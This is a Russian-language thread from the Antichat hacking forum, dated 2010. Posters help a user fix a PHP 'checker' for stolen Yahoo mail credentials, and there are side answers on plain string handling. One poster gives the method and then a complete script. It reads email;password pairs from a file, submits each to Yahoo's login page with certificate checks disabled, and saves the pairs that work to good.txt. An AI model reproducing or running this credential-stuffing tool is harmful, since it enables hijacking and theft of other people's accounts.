Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

25.04.2010, 11:20
|
|
Постоянный
Регистрация: 26.07.2009
Сообщений: 321
Провел на форуме: 444589
Репутация:
123
|
|
Gin, этот код нужно переписывать с нуля.
алгоритм такой (без всяких ф-й):
1)отправляем пост запрос с логином и паролем
2)ищем в ответе фразу о неправильном пароле, если ее нет, то все ок
никаких кукисов и юзерагентов там не нужно.
мб. я ошибаюсь, но скорей всего все делается одним запросом.
|
|
|

25.04.2010, 13:49
|
|
Участник форума
Регистрация: 11.09.2008
Сообщений: 107
Провел на форуме: 262809
Репутация:
21
|
|
2phpdreamer 2All
Да так и есть, можно и одним пост запросом, но данные которые грабяться тоже важны. Дело уже даже не в том чтобы написать чекер,а втом чтобы разобраться почему не работает. Если поможешь, то в долгу не останусь, просто я уже много способов перебпробовал.
|
|
|

25.04.2010, 15:04
|
|
Постоянный
Регистрация: 26.07.2009
Сообщений: 321
Провел на форуме: 444589
Репутация:
123
|
|
не работает потому что https://
|
|
|

25.04.2010, 15:19
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме: 226966
Репутация:
8
|
|
Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?
|
|
|

25.04.2010, 15:20
|
|
Участник форума
Регистрация: 11.09.2008
Сообщений: 107
Провел на форуме: 262809
Репутация:
21
|
|
2phpdreamer
ну так я ставлю эти опции
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
|
|

25.04.2010, 15:21
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме: 4137635
Репутация:
2407
|
|
restart_05,
PHP код:
<?php
$word='v267g92hg276ghg_engine';
preg_match('/^(\S+)_engine$/',$word,$m);
print $m[1];
?>
|
|
|

25.04.2010, 15:23
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме: 2603363
Репутация:
278
|
|
Сообщение от restart_05
Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?
PHP код:
$string = "v267g92hg276ghg_engine";
$string = preg_replace( "#(.+)_engine#", "\\1", $string );
Или регуляркой:
PHP код:
$string = "v267g92hg276ghg_engine";
preg_match( "#(.+)_engine#", $string, $array );
echo "Result: ".$array[1];
Или:
PHP код:
echo $string = str_replace( '_engine', '', 'v267g92hg276ghg_engine' );
Последний раз редактировалось Deathdreams; 25.04.2010 в 15:26..
|
|
|

25.04.2010, 15:23
|
|
Участник форума
Регистрация: 11.09.2008
Сообщений: 107
Провел на форуме: 262809
Репутация:
21
|
|
2restart_05
$string="v267g92hg276ghg_engine";
$result=str_replace("_engine","",$string);
|
|
|

25.04.2010, 15:26
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме: 226966
Репутация:
8
|
|
Спс
|
|
|

25.04.2010, 15:38
|
|
Постоянный
Регистрация: 26.07.2009
Сообщений: 321
Провел на форуме: 444589
Репутация:
123
|
|
Gin, вот :
PHP код:
<?php
//*простой чекер мыл yahoo.com от phpdreamer (25.04.2010)
$mails = file('file.txt'); //файл с мылами yahoo.com для проверки на валидность ( формат "id;password")
foreach($mails as $str)
{
$mas = explode(';', trim($str));
$email = $mas['0'];
$passw = $mas['1'];
$ch = curl_init('https://login.yahoo.com/config/login?');
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS , '.tries=1&.src=my&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=fuc8gnp5t886p&.v=0&.challenge=PoeEPS58vFdvVdlcxeu6DrGU4XZe&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmy.yahoo.com&.pd=my_ver%3D0%26c%3DaMtFxUmp2e6zaBL942f2v6LoDw--%26ivt%3D%26sg%3D&login='.$email.'&passwd='.$passw.'&.persistent=y&.save=Sign+In');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($ch, CURLOPT_HEADER ,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,1);
curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
$RecData = curl_exec($ch);
curl_close($ch);
if(strpos($RecData, 'window.location.replace("http://my.yahoo.com");'))
{
$valid = $email .';' . $passw;
$h = fopen('good.txt', 'a+');
fwrite($h, $valid . "\n");
fclose($h);
}
}
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|